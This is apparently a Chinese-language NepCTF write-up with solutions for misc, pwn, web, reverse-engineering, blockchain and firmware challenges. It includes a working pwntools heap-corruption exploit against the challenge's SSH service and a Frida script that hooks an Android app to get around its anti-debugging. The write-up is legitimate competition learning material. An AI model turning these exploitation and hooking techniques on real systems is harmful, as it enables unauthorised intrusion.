Nep-WP

Misc

0x01 NepMagic —— CheckIn

签到,直接玩游戏就好了

image-20240826104815902

0x02 Nemophila

emm,有点儿难受,解压缩包的密码卡了很久,一开始用的secret_is{Frieren&C_Sunb15e&Himme1_et1rna1_10ve},能过python文件的check,但是不太对,然后查看了一些不太紧的约束,改了好久才改出来secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve},解包之后得到一个破损的图片文件,异或一下刚刚的解压密码即可得到可见图片

image-20240826111037075

image-20240826111119137

直接010启动试试改一下长宽,03改为07,然后直接能够看到flag了

image-20240826111335623

image-20240826111357683

image-20240826111551210

0x03 3DNep

010先分析一波,文件头为gltf,没见过这种文件,搜一下

image-20240826111826177

image-20240826111923172

然后有在线工具可以编辑,直接打开往里拽就行(ps:加个gltf的后缀),一眼汉信码,把图截出来之后直接解码就好了

image-20240826112517449

image-20240826112853995

Pwn

0x01 NepSSH

第一眼看感觉像条件竞争uaf,malloc没加锁,后面仔细看了下,甚至不用条件竞争,flush之后可以直接控制堆头,然后直接修改堆头堆喷就行,fflush释放两次会将堆头链入堆表,可以以此控制堆头,修改链表指针为0x123300,最后修改0x123300为NepSSH

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('neptune-56385.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp")
p.sendlineafter('Username.','admin')
p.sendlineafter('password.','admin')
p.sendlineafter('ls.','fflush')
p.sendline('fflush')
sleep(1)
p.sendline(p64(1)+p64(0x1080)+p64(0x123300))
sleep(1)
p.sendline('fflush')
sleep(1)
p.sendline('NepSSH')
p.interactive()

image-20240826115002901

Web

0x01 NepDouble

上传含sstipayload的压缩文件,没有过滤,直接打就行

image-20240826194537464

Re

0x01 0ezAndroid

先手拉进模拟器看看,点击送flag哇,和很久很久之前buu上做的一个题好像,一开始还寻思能不能开个鼠标连点器取巧hh,后面jadx反编译了一下发现做不到,有时间check还有随机位置生成,然后大致逛了一下各个方法

很显然this.statusCheck被当作为一个状态码,等于1的时候应该就是走正常的check通过逻辑,先跟进一手encrypt方法,发现被藏在了native层

image-20240826163517634

image-20240826164634342

先不管继续往上溯,发现enc是从一个tea过来的,它的返回值是不变的

image-20240826164823726

继续看发现了this.statusCheck被置为1的地方

image-20240826165045061

ok那么现在思路就已经清楚了,点击的次数被与同步经过tea生成的作为密钥的变量一同传入了native层的函数encrypt做了最后一层的check,先给apk解包瞅瞅native层的加密是啥

wow,脸上的rc4

image-20240826165816816

先找密钥,一开始把java代码扣下来跑,调了一下没调好,我是飞舞,还是直接hook吧。。。

程序里面调用有反调闪退,主动调用一下就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function hookAndCallLocalDo() {
Java.perform(function () {
var MainActivity = Java.use('com.example.clickmemore.MainActivity');

var mainActivityInstance = MainActivity.$new();

MainActivity.localDo.overload().implementation = function () {
var result = this.localDo();
console.log('localDo returned:', result);
return result;
};

var returnValue = mainActivityInstance.localDo();
console.log('localDo called explicitly, returned:', returnValue);
});
}

hookAndCallLocalDo();

image-20240826201431668

将hook出来的值按照原有的逻辑转化为encrypt函数所需的参数格式:bangboo!Knows!!!

image-20240826203652673

在so文件中没找到像样的可以rc4的密文,那么直接主动调用native层的那个加密爆破一下就好了,爆了差不多一分钟?(忘了

image-20240826212152807

最后一步直接hook改次数为10714就能得到flag了

Bc

0x01 theif_god

逆天,貌似给非预期了,可以直接私有变量访问直接读flag

首先用给的脚本扫出来合约地址

img

有两个地址,具体哪个是题目地址挨个试了下:

img

应该就是这个了,计算实际插槽位置:

img

读 flag 16 进制:

img

拼接解码:

img

Hardware

0x01 火眼金睛

固件题,正常binwalk提取一下,一开始随便翻了一下几个分离出来的二进制文件,都没有什么有用的逻辑,正常思维来说存固件逻辑的二进制文件内容应该不小,所以索性按照文件大小排了一下序,最后10400这个文件翻吐了都没找到啥有用的信息,后面锁定在第二大的文件下,这段函数名包奇怪的,最后取出拿到厨子里面嗦一下

image-20240826153153387

真·火眼金睛

image-20240826153619537